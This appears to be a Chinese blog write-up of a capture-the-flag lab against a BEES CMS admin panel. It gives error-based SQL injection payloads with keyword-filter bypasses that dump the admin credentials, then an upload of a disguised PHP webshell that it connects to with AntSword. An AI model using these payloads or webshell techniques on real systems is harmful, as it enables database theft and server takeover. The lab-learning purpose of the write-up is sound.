封神台(尤里的复仇Ⅱ 回归)绕过防护getshell

解题思路

习惯在url后加admin,看是不是管理后台。
一看发现是,就不用目录扫描工具了
在这里插入图片描述
填入正确的验证码,抓包输入',查看有无报错
发现报错了,存在报错注入,看报错描述可以知道是字符型注入
在这里插入图片描述
查看当前数据库
payload

' or extractvalue(1,concat(0x7e,database()))%23

在这里插入图片描述
查看当前库的所有表
payload

' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))%23

爆出错误,可以看到select被吃了
在这里插入图片描述
尝试双写+大小写绕过
payload

user=' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema=database())))%23

select出来了,但是看到=被吃掉了
在这里插入图片描述
使用like替代=
payload

' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema like database())))%23

where去哪了??
在这里插入图片描述
在where后加个*
payload

' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables WHERE* table_schema like database())))%23

经过一系列的绕过技术,查询语句终于奏效
在这里插入图片描述
extractvalue()函数默认报错显示32个字符,剩下的字符可以用substr(column,31,62)查询后32个字符,以此类推。

payload

' or extractvalue(1,concat(0x7e,(SEselectlECT substr(group_concat(table_name),31,62)from information_schema.tables WHERE* table_schema like database())))%23

在这里插入图片描述

盲猜账号密码在bees_admin表中,直接查bees_admin字段名
payload

' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23

这里将空格全部转为%0a,因为有时候可能是匹配关键字+空格导致吃掉关键字,其实从一开始就把空格变为%0a,就可以不用绕过太多关键字
payload

'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere*%0atable_name%0alike%0a'bees_admin'%0aand%0atable_schema%0alike%0adatabase())))%23

我这里写了个py脚本进行转换

sql = r"""' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23"""
# 将空格替换成%0a
def spaceBypass(sql):
    str = sql.replace(' ','%0a')
    return str
sql = spaceBypass(sql)
print(sql)

可以查询到bees_admin的字段
在这里插入图片描述
接下来查询admin_name和admin_password的值
原来payload

' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(concat(admin_name,':',admin_password)) from bees.bees_admin)))%23

绕过空格payload

'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin)))%23

在这里插入图片描述
防止还有字符没显示出来,使用substr(str,31,62)查看一下后面的内容
payload

'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),31,62)))%23

可以看到flag
在这里插入图片描述
注意:这里的4跟前面最后一个4是重复的
继续往后查询
substr(str,62,93)

'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),62,93)))%23

在这里插入图片描述
将上面flag组合起来就是flag:47ec2dd791e31e2ef2076caf64ed9b3d
解码test123456,拿去一试发现错误,已经习惯了
只好查询账号密码登录后台
组合admin:21232f297a57a5a743894a0e4a801fc3
在这里插入图片描述
所以账号密码就是admin admin
在这里插入图片描述
找到上传点,上传一句话
在这里插入图片描述
shell.jpg内容如下
在这里插入图片描述
上传的时候抓包,修改后缀名为php,从而绕过前端后缀名验证
在这里插入图片描述
上传成功
在这里插入图片描述
可以在burpsuite看到上传点
在这里插入图片描述
浏览器访问上传点看能否访问
接着使用蚁剑连接
在这里插入图片描述

在这里插入图片描述
连接成功,开始找flag
在这里插入图片描述
在BEES根目录下找到flag.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值